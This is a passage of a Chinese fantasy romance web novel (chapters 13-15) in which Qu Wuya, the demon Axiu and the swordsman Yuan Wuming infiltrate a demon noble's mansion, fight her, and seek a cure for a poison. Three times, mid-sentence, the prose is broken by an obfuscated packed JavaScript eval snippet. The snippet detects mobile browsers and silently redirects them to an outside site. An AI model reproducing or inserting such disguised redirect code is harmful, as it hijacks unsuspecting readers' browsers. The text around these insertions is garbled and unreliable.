虽然他长得不是原无名那样传统意义的俊俏,但也没有到阴柔的地步。 “少君不喜欢年纪太小的,他只值九十两。” 喂!瞿无涯看见阿休勾起嘴角,心中忿忿,年纪小怎么了?这魇箬品味真怪,一般来说不是年纪大才劣势吗? 随后,三人跟着侍女们进府签字画押。住宿是三人间,日常就是练习才艺、保养容貌,以候表演。若魇箬喜欢,那就有可能被招到房中。 而且天天都有三菜一汤,比他们从前自己随便打发了事吃得好多了。 院中还有很多男子,有些郁郁寡欢,有些乐在其中,还有些就和他们一般混口饭吃。 千瞳府这么大,钟离肃住哪呢?对此,阿休提议抓一个下人逼问。瞿无涯否决了。 做事要低调,而且他们惹麻烦,也会妨碍原无名。 在才艺方面,阿休选了琴,原无名选了剑舞,瞿无涯想了想自己也只会舞剑,就也选了剑舞。 阿休选琴是因为不喜欢和太多人待在一起,也不喜欢有太多的肢体动作,简单来说就是懒。 练剑是以五人为一组,剩下三人是相新荣、广榕和章元甲。相新荣和章元甲都是新来的,广榕待得比他们久,知道的东西也多。 广榕说,虽说待遇好,但随时也可能要命。一般情况下是按排班去给魇箬表演,可若撞上魇箬心情不好,在她面前的男子基本上可以等着收尸了。 “我看你拿剑的姿势,是练过吗?”原无名收剑,“但你基本功有问题,下盘不稳,又不像练过。” 瞿无涯也放下在挥舞的剑,略有羞涩道:“我家有一本剑谱,我照着样子练过一点。” “没人教你啊,怪不得。”原无名称赞道,“那你练到这个程度很有天赋。” 瞿无涯:“原大哥过奖了。” “我没有在夸你,我在说事实。” 好吧,瞿无涯被逗乐了:“好的,我知道了。” “你想修道吗?”原无名察觉瞿无涯的笑容有些落寞,不禁发问。 “如果可以当然想啊。”瞿无涯挠挠头,“不过修炼得找个师门吧,然后拜师学艺啊什么的。” 不知原无名想起什么,竟是笑得有些怅然,他向来都是明朗仿佛缺心眼的模样,瞿无涯还是第一次见他露出异样的情绪。 “不必这么繁琐,不就是心法,我现在就可以教你。我只教你最基本的,如何吐纳灵气,所以算不得你师父。” “至于该怎么去利用你的灵力,我教不到那个程度,你可以自己去买书看,你自学能力挺好。” “好,谢谢你。”瞿无涯笑容灿烂,惊喜地抓着原无名的手臂。世面上确实有关于术法的书,但那些都是十分简单、浅显易懂的术法。 而各大门派研究出来的核心术法,尤其是战斗术法,都是秘籍,是底气,要学那些就只能去拜师。修炼灵气的心决,也在其中。不过这种心决很多,基本是万变不离其宗,没有术法秘籍那么严苛保密。 不同心法的吸收效率不一样,和地域也有关联。例如北州,灵气丰盈,非常适合修炼,历代来五成天才都是出自北州。且有些北州的传奇术法,不是通过北州修炼灵气的心决来修道就无法练成,因而北州的心法一向是人族最推崇的心法。 瞿无涯按照原无名所说,打坐,默念心决,感受灵气在丹田的运转,把它们转化为灵力。 可能是吃了圣果的缘故,他感到自己和灵力的链接十分顺利。 “不是北州,也能链接地这么顺利吗?”原无名嘀咕着,“还真是有点少见,看来无涯的根骨比我以为的还要好。” 教瞿无涯修炼对他来说,是一件微不足道的小事,他也不止教过瞿无涯,只不过那些人的天赋都没有瞿无涯好。 所以,瞿无涯满眼亮晶晶地感激他的态度,让他有些不适应,能修炼就这么高兴吗? 修炼对原无名来说,从来就不是一件开心的事,而是变强的手段。果然如钟离柏所说的那样,尽管他有点倒霉,但还是比世间大部分人都幸运,因为他有变强的机会。 “你和原无名待在一起的时间太久了。” 瞿无涯被阿休拉到角落质问,他靠着墙,阿休的手撑在墙壁上,两人鼻尖对着鼻尖。 对不起?瞿无涯认为自己没有错:“他在教我修行。” 阿休在他耳边哼笑一声,声音低沉:“无涯。” 深秋的天真热,他撇开头:“你别这样叫我。” “修炼的感觉如何?” 妖生长于天地之间,链接灵气无需像人族一样通过心决的媒介,其中草木类比兽类更加容易亲近万物之灵。每只妖天生就会吸收灵气,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126457|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和呼吸一样自然,只不过根据专注度、周围灵气和天赋会有不同的效率。 人族用心法链接灵气,就像揭开身上无形的膜,去接触天地万灵。阿休没感受过如人族一般的茅塞顿开。 瞿无涯沉吟片刻:“好像也没什么变化。” “你缺少一个理由。” 阿休把下巴搭在瞿无涯的肩膀上,懒洋洋地道。 “什么意思?”他偏头看着阿休。 “你修炼是为了什么?变强?飞升?都不是吧。”阿休这时又有了年长者的姿态,他站直身体,摸瞿无涯的头,“你都不知道自己想要什么。” 想要什么?瞿无涯向往话本里的快意恩仇、潇洒肆意,但真正走出碧落村,见识到世间众多的纷扰,却开始迷茫起来。 现在的日子确实很新鲜,有着各种可能性的未来,随之而来的是他不知道自己该往哪走。 直到吃饭时,瞿无涯仍然在想这个问题。紫妍进来,宣布今日轮到原无名和章元甲去舞剑,打断了他的思考。 他们要被带去大厅,瞿无涯看原无名的脸色,大概今日会动手。不管成功与否,若要找钟离肃,今夜就是最好的时机。 晚上,瞿无涯和阿休分头行动,他搜东边,阿休搜西边。 在修炼之后,他的感官比之前更为敏锐。没人看守的房间,大概率是没有钟离肃的,他就没仔细确认里面的动静。 等到一个门口站着两个带剑侍女的房间,他提高警惕,缓慢地接近。是妖。 通常妖要修炼三十年才能化形,若是天赋不佳,那几百年化形的也比比皆是。 据说,魇箬是二十岁就化形,前二十年的时间里都是在吸收灵气、消化药物,因而化形虽是少女模样,但却是幼童心智。对人族来说,已经成年的二十岁,对魇箬却是真正探究世间的开始。 也就是说,守在门前的妖保守估计也要有五十岁了。打是肯定打不过的。 好在原无名虽口上说只教他怎么修炼,实际上还是教了他一点防身的小法术,比如怎么隐蔽自己的气息。 不管了,试一试吧。旁边有声音,他转头,看见走廊角落的一只野猫,心里有了打算。 瞿无涯把猫放在房间正对的走廊上,他发出轻微的一声“喵”,猫黑漆漆的眼睛转着,也冲他“喵”一声。 猫的动静不算小,引起门口侍女的注意。 瞿无涯趁机隐蔽气息,从侧边的窗口进去,这个空间似乎是用来换衣物的,用屏风隔绝屋内的烛火通明。 他蹑手蹑脚地绕过花鸟屏风,看见一个白衣男子按着书本,但不像在看,像在出神。 “钟离肃?”瞿无涯小声叫唤。 白衣男子一惊,神情惊恐地看着他:“你?” 瞿无涯不敢大声说话,怕门外的人听见动静:“你是钟离肃吧,我是来找你的。” “你是家族派来的吗?”钟离肃神色恢复平静,变得哀伤,“告诉家里,不用来救我了。之前来的人,全都死在我面前了。” “不是,我是有事找你。” 钟离肃看一眼门外:“你不用这么小声说话,这有隔音阵,她们听不见的。” 毕竟,魇箬没有让人听墙角的嗜好。 “我想问,你知道七情蛊怎么解吗?”瞿无涯用正常音量道,“我有一个朋友中了七情蛊。” “七情蛊?” 这么罕见的蛊?钟离肃眉毛一动,找七情蛊的人常见,求解药的人还是第一次碰见。 “我不太懂蛊,也没有案例研究。但按理来说,这世间的蛊,都有一种解药,神仙骨。” 13. 第 13 章 “神仙蛊?那是什么?”瞿无涯心道,难道是以毒攻毒吗?拿神仙蛊去攻击七情蛊,听上去很凶残。 也许是久违地提起医学方面的事,钟离肃的心情奇迹般得平和下来,他像从前一样,普通地为人解惑:“神仙骨,准确来说是一颗舍利子,是五百年前一位神仙羽化留下形成的。所以,神仙骨蕴含神力,可重塑筋骨,清除浊气,消杀七情蛊也不在话下。” 这么神乎其神的东西,得上哪找啊?而且这种宝物,肯定也有其他人想要,瞿无涯问:“那神仙骨是在哪?” 面前的人都不知道神仙骨是什么也不知道神仙骨的下落,钟离肃打量瞿无涯,那是怎么和七情蛊有接触的? “神仙骨在妖界的永劫山,由月晦妖君镇守。” 看见瞿无涯脸上的茫然,钟离肃不由得多解释一些,他太久没这样平静地说话:“月晦妖君一心清修,不参与世间纷争,五百年没出过永劫山。若说这世间谁最有可能飞升,必是月晦无疑。她本体是树,整个永劫山都在她的掌握之中,想要越过她拿到神仙骨无异于痴人说梦。” “但凭她的修为,这世上没有人能在永劫山赢过她拿到神仙骨,不然就凭妖的作风,神仙骨这等宝物,他们早聚集永劫山争个头破血流。就算是妖王来了,也要敬她三分。” 瞿无涯似懂非懂地点头,钟离肃莫名心中松快。他有多久没这般和人正常交谈了? 他问:“你是谁?怎么会接触到七情蛊。” 这话问到瞿无涯了,他是什么人?路人?村夫?什么人也不是。 “我叫瞿无涯.....” 正当气氛僵持时,门被推开了。隔音阵不止隔里面的气息,还隔外面的。 魇箬一身血,青衣混红色,额角有血流下,顺着下颌往地上滴,看着惊心动魄。她神情慌乱,见到钟离肃还在后变得凶恶:“我就知道,钟离又派人来救你了?” “不是——” 钟离肃还没来得及解释。 魇箬的手已经掐住瞿无涯的脖子,她打量着他:“这次派的人未免太弱了。” 面对魇箬,瞿无涯才知道在绝对的实力压制面前是没有任何抵抗空间的。他还没反应过来,就已经被掐住,呼吸困难让他五官皱成一团,发出微弱的喘息。 魇箬的手掌有血,随着掐力下流,浸润瞿无涯的衣领。 “你住手!”钟离肃喝斥道,“你相信我,他只是来求医的普通人。” 看来原无名又刺杀失败了,瞿无涯的意识逐渐模糊,瞳孔涣散,他没想过长生,但这死得未免太早了,他的手抓着魇箬的手,魇箬的手纹丝不动,他那点力气好似连蚂蚁都不如。 渐渐地,他的手无力地垂下。 远处的阿休捂住心口,刚才好似被烧了一下,婚契在警告他,瞿无涯危险! 瞿无涯在哪里?阿休通过婚契感应他的位置,刹那间到了对应地点。 “是吗?”魇箬笑得天真又残忍,“可是我心情不好,那也只能怪他倒霉。我早就警告过你,要听话,你为什么总是这么不乖,搞小动作。” “你要记得,这些人全是因为你而死的。你越反抗,越会给你身边的人带来祸端——” 阿休伸手,捏住魇箬的手腕,轻轻一扭。骨骼碎裂的声音,魇箬疼痛地尖叫。 “什么人敢——” 魇箬看着阿休的脸,愣住了。 瞿无涯无力地靠在阿休怀中喘息,生理性的眼泪流淌。阿休用拇指抹去他脸上的湿润,冷冷地看魇箬一眼。 平日的阿休懒散中带着强势,而如今,他目光充满锐意,眉峰冷厉。要是瞿无涯清醒,肯定要惊叹阿休还能有这么积极的模样。 用积极并不准确,准确来说是,黑漆幽深的夜,无处不在的肃杀之气。 由于妖性压制,魇箬腿一软,差点跪下,顾不得自己断掉的手,震惊:“你,您。” 王上怎么会在这里? 这一刻,魇箬想了很多,为了从王上手下留住自己的性命。首先,王上和这个男子关系匪浅,疑似情人。友人之间不会这样亲昵。 其次,王上看上去像是不认识她。若这男子需要见钟离肃,也就是王上一句话的事,这说明男子并不知道王上的身份。 王上隐瞒了身份,因为人妖有别吗?也就是说,王上这么久没有音讯,是因为偷偷养了一个人族情人在享受美色。 魇箬懂了,幸好她刚刚没有直接点名王上身份,不然王上没有了身份顾忌,很有可能直接杀了她。 若她配合王上的爱情游戏,还能有一线生机。 阿休没有早点这么做,纯粹是因为谨慎。他还不了解自己有怎样的敌人,妖力又会因为七情蛊倒退到什么地步,太轻易惹人注目很有可能落入敌人圈套。 可是,看见这样虚弱的瞿无涯,他后悔了。他不应该花时间玩这种卧底游戏,明明眼前这些人,都赢不了他。 若他今日离得远,来得晚一些呢?瞿无涯是不是会这样无声无息地死在他顾不及的地方? 对于瞿无涯修炼的事,他一向很随意,只是不满瞿无涯的心思分走。不管怎么样,他会护住瞿无涯的。 但此刻,他想,没那么多时间陪他也就罢了吧,但瞿无涯必须得照顾好自己。 阿修垂头,抚摸着瞿无涯脖上的伤痕:“不会有下一次,是我大意了,抱歉。” 气氛诡异地沉默了,阿休在关照瞿无涯的状态。魇箬在想怎么圆上这个谎,该找什么理由放过他们。钟离肃不知发生了什么。 瞿无涯缓过神来,他知道阿休法力高强,但没想到高到这种地步。他正想告诉阿休自己打听到了消息,却察觉阿休的身体越来越烫,简直就像那一日...... 阿休一双赤目,扫过魇箬、钟离肃,他抬起手,一团红光聚集在他手掌心。 魇箬警惕地将钟离肃护在身后:“刚才,是我太冲动了。既然你们不是来带走钟离肃的,我也不会为难你们。” 也求王上不要为难她,她保证等王都大会一定会负荆请罪,好好请求王上原谅的。 蛊提前发作了!是因为情绪起伏过大吗? 瞿无涯一惊,抓住阿休的手臂:“阿休。” 魇箬怎么样无所谓,但瞿无涯不想阿休伤到钟离肃:“阿休,我们回家,我们先回家。” 阿休嘴角流出血。 钟离肃似有所悟,喃喃道:“原来是他。”中蛊的人是这个能轻易扭断魇箬手腕的人,那也难怪能接触到七情蛊。 可瞿无涯这种普通人怎么会和能中七情蛊的人扯上关系?他看得出来,魇箬不对劲。 比起忌惮这人的实力,魇箬像是已经认输,表情语气也都很生硬。只不过那两人,一个蛊发作,一个担忧,没仔细探究魇箬。 魇箬胆颤心惊,王上这是杀红眼了?怒发冲冠为红颜?不至于吧,她又没真的杀死。 她爹和王上确实不是一条心,难道王上真要借题发挥杀了她? 她下意识后退一步。 钟离肃反应极快,从旁边的柜子中拿出一颗药丸:“瞿无涯,这是清心丹,你给他吃,能缓解他的情况。” 药丸在空中划出一道弧线,瞿无涯接过,喂阿休吃下。 “无涯......”阿休紧锁眉关。 他关切道:“很难受吗?我们先回去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126458|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说罢,两人瞬间从房中消失。 魇箬长舒一口气,安下心来。看来王上不知在哪受了点伤,幸好幸好。 “少君,方才紫息来报,那个刺客跑了。”紫妍小心翼翼地上前汇报,等着魇箬狂风暴雨般的泄怒,却久久没有等到动静。 “刚才那两个人,以后看见他们绕着走,知道吗?”魇箬完全没在意刺客的事,“不要得罪他们。” 紫妍对他们有印象:“他们是来府中当面首的,当时是三个人一起来的。” “三个人?”魇箬没放在心上,“那就不要靠近他们三个。”也不知道王上玩什么情趣,来体验当面首也就算了,还是三人行。 “哦,刚才那个刺客,给我全城搜捕,知道吗?我都多少年没受这么重的伤了。” 要不是先和那个刺客打了一架,她也不至于那样轻易被王上扭断手腕。而且,这次的刺客和拍卖会的刺客,是同一个人。 还真够有毅力的。 钟离肃其实已经不再反抗,自认倒霉了,但看见魇箬这么忌惮的模样,心中畅快,原来也有魇箬没法随心所欲的时候。 他一边帮魇箬包扎额头伤的伤口,一边轻描淡写道:“魇箬,我一生行医,救了很多人,有好人也有坏人,也包括妖。不管怎么样,我从来没后悔过。” “无论发生什么,我从来没违背过救死扶伤的原则。你很厉害,你让我后悔了,我那日不该救你,这是我人生中最大的错误,也是唯一的错误。” 饶是魇箬这等素日里不在乎钟离肃态度的痴情样,听见这话,也像是巨石沉入河中,堵得难受。 她扣着手,她只是想要钟离肃看见她、在乎她,可是因为她是一只妖,钟离肃就永远地剥夺了她争取的权力。 她不能忍受,不能忍受她这样地喜欢钟离肃,心被他搅得天翻地覆。可他却可以那么平静地生活,过着没有她的生活。 那时,她重伤转醒,是先听见了醇厚的声音,很温柔关切。她睁开眼,看见钟离肃的脸。 她想,她这辈子都要和这个人纠缠不清。 她对钟离肃的好,都被钟离肃无视、拒绝。她很愤怒,又舍不得冲钟离肃撒气。 按照妖的规矩,她要是能打赢钟离肃,就可以把他带回家。既然对他好没用,那就只能按她的方法来。 可是钟离肃的反应比她想象中激烈很多,她杀了好一些人,才让钟离肃安静下来。 钟离肃不喜欢她,她知道,她气不过,又在府中养了一大堆面首。只要钟离肃有一点点吃醋,她就满足了。 什么都没有,钟离肃还是一如既往地厌恶她。 也许是她用错了方法,但如今也没办法挽回。 “你恨我吧,只要你心里都是我,我就开心得不行。” 钟离肃用夹板固定好她的手:“你残忍好杀,暴戾成性,作恶多端,早晚会遭到报应的。” “我好杀?”魇箬嘲讽一笑,“你不杀生吗?” “我是医师,我不会——” 魇箬打断他的话:“那我问你,对你来说什么是生?万物皆有灵,妖是生灵,人是生灵,草木就不是了吗?” “你采的那些灵药,你现在用的木制品,难道就不是杀生吗?你们人族真是狂妄自大,当做自己比其他生灵高级一等,是吗?” 钟离肃一哽:“你这是歪理。” “人族为了美观,会修剪草木。”魇箬仰起头,“我也是为了美观,修剪一下你们人族的劣质品。” 而你,钟离肃,我之前一直不舍得修剪你,但我不会再心软了。 妖真是毫无同理心,钟离肃不再多说。 14. 第 14 章 原无名把被打晕的章元甲扔到角落,从乾坤袋中拿出一张人皮面具。说是人皮面具,只是因为质感像人皮,不是人皮做的,是西州特产的金焰草所制。 他戴好,露出一张平平无奇的脸,没有任何的记忆点。 他拔出赤影剑,往殿中走去,剑身隐隐缠绕着红光。赤影剑是北州极寒之地的玄铁锻造,正常情况下通身暗红色,使用时如焰火般明亮。 漆黑的夜行衣,火红的剑。 而现在,赤影剑正在燃烧。 厅内,宝座上的魇箬放开怀中的男子,对着伏在她脚边的两个男子道:“你们先下去吧,看来有人找我。” 在千瞳府的这几日,原无名已经摸清了府内的布防,他只有一炷香的时间和魇箬单挑。 庭内枯叶飘落,宫灯明亮,但都不如赤影剑所发出的光芒。原无名回想在北州挥剑的时光,漫天的雪花飘下,重复地挥剑,启天剑法的每一式,都融入了他的骨髓中。 赤影剑的热度让靠近的雪花成水滴,每每练完剑,以他为圆心的周围一块积雪消融,北州常年冰天雪地,唯有夏日才会雪消万物苏。 南州有着漫长的夏季,转瞬而逝的秋季,几乎不下雪的冬季,温暖的春季。这一切都很适合赤影剑。 原无名长舒一口气,启天剑法共有六式,这是第一式。 水仙步! 他聚集灵力到腿上,膝盖微微弯曲,在旁人看来明明是寻常的走路姿势,偏偏如鬼魅一般快。 上次的刺杀,失败在对魇箬的幻术太过忌惮,有些束手束脚。 也没有一击必杀的决心,他有顾忌。年少的时候,战斗就是战斗,没有其他的杂念。 可现在的每一场胜负,他都要顾虑带来的后果。若是输了,他要善后,不能让人知晓他的身份。若是赢了,也要善后,做到全身而退,不留过多的痕迹。 殿内的布局可以称得上放浪形骸,中间有一个巨大的温池,上面铺满花朵,还在蒸腾着白色的水汽,可以用来做什么不言而喻。 周围摆着许多铜镜,馥郁的香气飘出殿外,房梁上挂着绳索。若是平时,原无名早就不适地皱起眉头,但他今日却无心察觉这些,因为他全神贯注地握着剑,他的目标只有一个。 第二式,绝地起! 原无名腾空而起,一剑刺穿过迷蒙的水雾,划出红色的弧线。没有任何华丽的招式,却蕴含纯净、热烈的剑意。 与人族擅长用武器不同,很多妖因肉身强悍,并不在武器上有所追求。但魇箬的修为不算上乘,她的父亲担心她,还是给她配了武器。 准确来说,是一个盾,魇箬并不喜欢这个盾,太木讷笨重。生死关头,容不得她喜不喜欢。 伏晶盾,通体晶莹,比起护盾,更像是装饰品,很符合魇箬的作风。 剑击中盾,发出清脆的声响,白光乍现。 魇箬被击退到墙上,裂缝中墙灰掉落,吐出一口血。 原无名落在地上,单手握剑,回味方才刺过去的感觉。 “伏晶盾还真是名不虚传,你有一个好父亲。” 魇箬一抹嘴上的血:“怎么,羡慕了?” 水仙步用来接近敌人,绝地起是起式,第三式抱山劈才是真正的过招。剑横着向前砍,分明是剑,却用出了刀的凌厉。 魇箬想用盾挡,可中途,原无名却把剑式一转,一跃而上,竟是要劈下来。 要举起盾已然来不及,魇箬下意识用手挡住赤影剑的剑身,伤口涌出鲜血伴随着灼烧感。 为了避免和魇箬对视,原无名的视线往旁边偏。 魇箬一笑,露出得逞的笑容,也往旁边看去。 糟糕! 等意识到时,原无名已经和镜中的魇箬对视。他本以为镜子只是魇箬寻欢作乐时助兴所用,没想到摆这么多镜子,是还有这一手。 好在他反应及时,不算中幻术。可也受了影响。 他闻到了雪的味道,冰冷的、刺骨的,堆在衣物上浸润肌肤。 母亲在说话。 “延儿。” “延儿,往前走,不要回头。” 原无名明知是幻觉,却仍然心中大恸,他已经多久没听见母亲的声音了。这就是幻术的可怕之处,明明知道不该相信、不该沉溺,却还是贪恋那点短暂又虚假的美好。 剑压下来的力道松懈了,魇箬见原无名眼神迷蒙,心知他中招了,勾起嘴角,往他小腹一踹。 “也不过如此。” 这一脚用足了妖力,原无名半跪在地,捂着腹部,偏头喷出一口血,他用剑抵着地板,维持住身体的平衡。 也难怪妖不需要武器,这一脚不比赤影剑的伤害小。 “延儿,这么多年,你怎么都不回来看一眼娘,娘很想你。” 我也很想你,娘。 原无名一愣,笑了,抬起头,神色清明。 这么快就清醒了?魇箬皱眉:“我收回刚才的话,看来你还是有点水平。” 母亲是最希望他不再回北州的人,原无名重新站起来,捏紧剑柄,而这些幻觉不过是他心中的执念,他抛下母亲,心中有愧,才会听见这句话。 幻境,只是画地为牢,自己束缚自己。 他抬剑指向魇箬,大笑:“这脚够狠的。” 那当然,她爹可是专门给她训练过,打不过就跑,腿部力量尤其重要。 第四式,踏长河! 不再同于前边简单的招式,第四式来得又快又猛,狂风暴雨一般降临,灵力急剧消耗着。汗和血混杂在一起,到最后,他几乎是没有意识,纯凭感觉在挥剑。 魇箬也应付得很吃力,往原无名握剑的手腕踹去,剑飞出去。她正松口气,原无名却借她踹的力道转了一圈,另一只手握住飞出去的剑,背身朝她砍去。 她瞳孔微缩,脚还在空中,来不及闪躲。 千钧一发之时,远处飞来的暗器和剑发生碰撞,改变了剑的轨迹。 “少君,您怎么样了?属下来迟,还请少君赎罪。” 两个劲装男子匆匆赶来,警惕地盯着魇箬对面的原无名。 她爹给了她四个暗卫,两个被她派去看着钟离肃,这是剩下两个。魇箬不想让暗卫事事都向她爹汇报,特别是男人那档事,每每花天酒地都要暗卫离得远远的。暗卫的修为高不上魇箬多少,若原无名没受伤,可以与之一战。 暗卫的到来,宣布这场战斗已经结束了。 原无名要做的,就是逃跑,不能被抓住。 等等,钟离肃,魇箬心中有不详的预感:“你们解决他,我有事先走了。” 走了一个,那跑掉的概率变大了,原无名轻身跃起,往府外而去。 两个暗卫紧随其后。 原无名消耗过多,意识已经不太清晰,等甩掉暗卫。他才发觉自己走到瞿无涯所租的院子。 瞿无涯和阿休应当还在千瞳府吧,他带着人皮面具,魇箬大概率查不到“张三”头上——“张三”是他进千瞳府的名字,瞿无涯是“张五”,阿休是“张四”。 他从乾坤袋中拿出愈合丹,先在这过渡一晚,需要回屋运功疗伤。 等翻过墙,饶是原无名也不由得一震,以为自己还在幻术中。 这在院中亲得天地不知为何物的两人是谁?一定不是瞿无涯和阿休吧! 瞿无涯听见动静,斜眼看他。阿休察觉瞿无涯的视线,顺着看过去,两人齐齐看着原无名。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126459|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小偷?”瞿无涯小声道。 阿休的眼睛是红色的,他是妖?原无名下意识又翻出去,一定是他回来的方式不对。 “走了?”瞿无涯显然被吸引了注意力。 阿休因为服用了清心丹,没有完全失去意识:“别管了。” 原无名无处可去,于是再翻进墙,那一幕完全没有变化,他揉揉眼睛,自己只是想回房间:“打扰了,我路过——” “原大哥?”瞿无涯认出了原无名的声音。 阿休吐出一口血,原无名也因为腹部的伤吐出一口血。两人几乎同步的动作,让这诡异的一幕更加诡异。 唯一健康的瞿无涯道:“原大哥,你受伤了?” “嗯,小伤小伤。” 原无名这才反应过来,自己还带着面具,他把面具撕下来,放回乾坤袋。 做完这个动作,他就直愣愣地倒在地上。 “原大哥!” 瞿无涯松开抱着阿休的手臂,往原无名的方向跑去。 阿休拉住瞿无涯的手:“他死不了,等办完事再说。” “等一夜,尸体都要凉了。”瞿无涯的桃花眼瞪圆,不以为然。 “我的事急还是他的事急?” 阿休的手心滚烫,在寒夜中给瞿无涯捂出了汗,这温度比以往都要高,也就是说蛊发作得越来越厉害。 “你保证他不会有事吗?”他犹豫了。 “睡在地上,可能会风寒吧。”阿休大致扫了一眼。他也不知自己是怎么判断的,但就是感觉这个人不会死。 他两指并拢,往原无名的方向一甩,一团红光进入原无名体内,“他灵力枯竭,我借他点灵力运转。” “那,那我们回房间吧。”瞿无涯想起这事,又瞪着阿休,刚才这人怎么也不愿意进房间,说外边冷,待着舒服一点。 恶趣味! 旁边躺了一个人,就算失去意识,怎么都怪怪的,阿休只能遗憾地和瞿无涯回房。 清晨,原无名从冰冷的地板上醒来,打了一喷嚏。昨夜做了一个奇怪的梦,梦见无涯和阿休亲在一起,阿休还是妖,哈哈。这都什么事。 好冰的地板,好凉的早晨,他站起身。 房门打开,瞿无涯正说着:“说好了要把原大哥送回房间的,万一风寒了怎么办?” 他一转头,和神色复杂的原无名面面相觑。他心虚了,下意识把门关上,回头看着餍足的阿休,一脸惊恐:“怎么办,他醒了。” “正好啊,都说让你别费那个劲了。”阿休漫不经心,“他是修道之人,怎么会轻易风寒?” 与此同时,原无名也感觉到体内残存的妖力,知晓昨夜不是一场梦。 瞿无涯面对现实,又打开了门:“原大哥——” “他是妖?” 剑出鞘发出清冽的声音,火红色的光芒闪烁,剑尖对着瞿无涯背后的阿休。 原来如此,原无名心中有了判断,无涯有一副好相貌,被有龙阳之好的妖怪盯上也是正常。这就说得通了,为什么南辕北辙的两人会在一起。 而且,无涯脖颈上有掐痕,这妖绝非善类。 这一切都太混乱了,瞿无涯这才想起来,原无名是一个嫉妖如仇的人。比起村民们一昧地否认、惧怕妖,原无名则是鄙视妖,他说妖天性凶残、野蛮愚昧,拥有再高的妖力,本质上不过是会说话的畜生。 对此,瞿无涯一边胆战心惊地观察阿休,一边弱弱地反驳,也不是所有妖都这样。 原无名说,那不重要,重要的是,大局上妖族在压迫人族的生存。妖族一日不除,人族永无宁日。人有好人也有坏人,妖有恶妖也有善妖,但这都改变不了人和妖不死不休的局面。 15. 第 15 章 “对,阿休是妖。”瞿无涯下意识挡在剑尖和阿休的中间,“但他没有——” “无涯,你被骗了。”原无名语气严肃,“离他远一点,这种妖我以前也见过。等你色衰则爱驰,它们就会把你当作口粮吃掉。” 阿休从背后搂着瞿无涯脖颈,整个人瘫在他肩上:“既然被发现了,那我也不装了。瞿无涯,我现在就要吃了你。” 热气喷到瞿无涯的耳朵上,他满脸羞红,胳膊往后一肘:“你别捣乱了。” 这其实是阿休心情好的表现,他要是心情不好,就直接把原无名打晕扔出去。 正义侠客、受害者、妖男,原无名眯眼,他对阿休的印象一直是沉默冷淡,乍一见阿休这副张扬的模样,信以为真,果然是显出妖的本性! “无涯,我不会害你的,我见过的妖太多了,我比你更了解它们。你相信我,一只妖能对人族有什么好心,人族它们眼中不过是食物,难道你会和食物相爱吗?” “无涯,你信他还是信我?”阿休沉浸在捉妖话本中,“嗯?” “停停停!”瞿无涯举起双手,“你们都别说了。阿休,你别火上浇油了,你再乱说话,我就,就三天不和你讲话。” “原大哥,我当你是朋友,也请你相信我的判断。阿休他不会害我,也不会害你,他昨夜刚帮你运转了灵力。若他真有恶心,大可偷偷把你杀了,我也发现不了。” 这是个好主意,阿休赞许地点头。 原无名一顿,启用赤影剑是为了威慑,实则他内伤没好,强行运剑加剧了内伤。 剑从手中脱落,掉落在地,他捂住嘴,有血从指缝中流出。 “原大哥!”瞿无涯推开阿休的手,去扶原无名,“你怎么样了?” 剧烈的敲门声响起,三人一愣。 “奉魇箬少君的命令,前来搜查刺客,开门!” 瞿无涯做贼心虚,以为是原无名的身份被发现了:“原大哥你赶紧跑,我去拖延点时间。” 原无名被追杀惯了,倒是很淡定:“别紧张,只是例行全城搜查而已。” “我带了面具,他们认不出我的。” “你身上有魇箬的味道。”阿休突然开口,“很浓,她那的香,不只是用来助兴的,是一种向他人宣誓主权的手段,可以让她的味道经久不散。看来你杀的妖还是不够多,没什么除味的经验。” “那怎么办?”瞿无涯使劲闻,除了一点香,什么也闻不到。 阿休瞥一眼地上的剑,走过去,拿起来,往原无名胳膊上一划,鲜血喷涌出来:“用血腥味盖过去就好了。她是故意只让你受内伤的,她这个水平能安稳活到今日,全靠这点斩草除根的本事。” 速度之快,两人都没反应过来。 原无名目瞪口呆,有一种自己被公报私仇的错觉,捂住伤口,拿过阿休手中的剑:“那我先回房间,无涯,接下来麻烦你了。” “噢,好。”瞿无涯应道,他转头看阿休,“接下来怎么做?” 阿休逗他:“你现在打开门,凶一点,让他们滚就可以了。” “真的吗?” 阿休点头。 门开了,外面领头的是紫妍,她只见昨夜魇箬特意叮嘱不要招惹的“张五”不耐烦地道:“干什么?” 紫妍想起魇箬说的,绕着走,不由得后退一步:“不知是您的住所,多有得罪。” 少君忌惮的人住这种破旧偏远的院子? 院中响起一道男声:“不是说搜查吗,让他们进来吧。” 瞿无涯后知后觉自己在唱红脸,让出进门的路。 